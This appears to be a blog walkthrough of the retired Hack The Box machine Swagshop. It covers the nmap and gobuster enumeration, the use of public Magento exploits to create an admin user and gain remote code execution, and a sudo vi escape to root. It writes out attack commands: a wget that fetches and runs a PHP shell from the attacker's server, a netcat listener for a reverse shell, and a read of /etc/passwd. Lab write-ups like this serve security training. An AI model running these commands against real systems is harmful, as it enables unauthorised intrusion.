HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform. Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Swagshop, is retired.
The walkthrough
Let’s start with this machine.
Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.
The Swagshop machine IP is 10.10.10.140.
We will adopt the same methodology of performing penetration testing as we’ve used previously. Let’s start with enumeration in order to acquire as much information for the machine as possible.
As usual, let’s start with the Nmap scan to learn more about the services running on this machine. [CLICK IMAGES TO ENLARGE] «nmap -sC -sV -oA Swagshop 10.10.10.140»
It looks like port 80 and 22 are opened on this. Let’s start enumerating with port 80.
On port 80, it looks like Magento is running.
Looking into the source code and footer, we see that it was copyrighted in 2014.
The above is not a substantial lead but is noteworthy, so let’s mark it. Looking into the Magento git, it looks like there’s a file called RELEASE_NOTES.txt. Replicating the same shows the Magento version to be 1.7.0.2.
We run Gobuster to enumerate directories as well. «gobuster -u http://10.10.10.140 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt»
One important directory was /app, which shows the version as well.
Now let’s search for an exploit for that version.
We found a few exploits. With one, we will perform RCE and create a user from the exploit (37977). We modify the exploit to create user:lhm with a password.
In the exploit, the admin login page was also mentioned. Browsing to that page and supplying the credentials lhm:lhm worked.
Below is the landing page after our successful login.
We can also see the version here as well.
We pick up another exploit to gain our first remote shell. Since we now have created a user, we can use the authenticated remote RCE exploit.
Below is the replacement of the user and password with the one created above.
Testing the exploit with printing /etc/passwd from the remote machine worked. «python 37811.py http://10.10.10.140/index.php/admin “cat /etc/passwd”»
Now let’s host a PHP shell from a Python web server on the attacking machine. «python -m SimpleHTTPServer 80» «python 37811.py http://10.10.10.140/index.php/admin “wget -O /tmp/shell.php http://
/shell.php;php /tmp/shell.php”» The above command results in an error, since I have deposited the file in /tmp but executed in /.
Not to worry, since the file is already uploaded on the victim machine. We just need to execute the file.
After executing the above command, we got the shell below. «nc -nlvp 4321»
We enumerate to find the user.txt. «pwd» «cat user.txt»
Let’s start with escalating user permissions.
The first thing to check is what this user can do with sudo. It looks like a lot! «sudo -l»
So we can run the vi command as sudo on any file under /var/www/html/.
We create such a file and do a classic vi escalation. «sudo vi /var/www/html/escape.sh» «:!/bin/sh»
As soon as we hit enter, we get the root prompt.
Enumerating to grab the root.txt file as well. «cd /root» «cat root.txt»
So this was a straightforward box. The first shell was based on enumeration, and escalation was done with a classic technique. We will continue this series with similarly interesting HTB machines.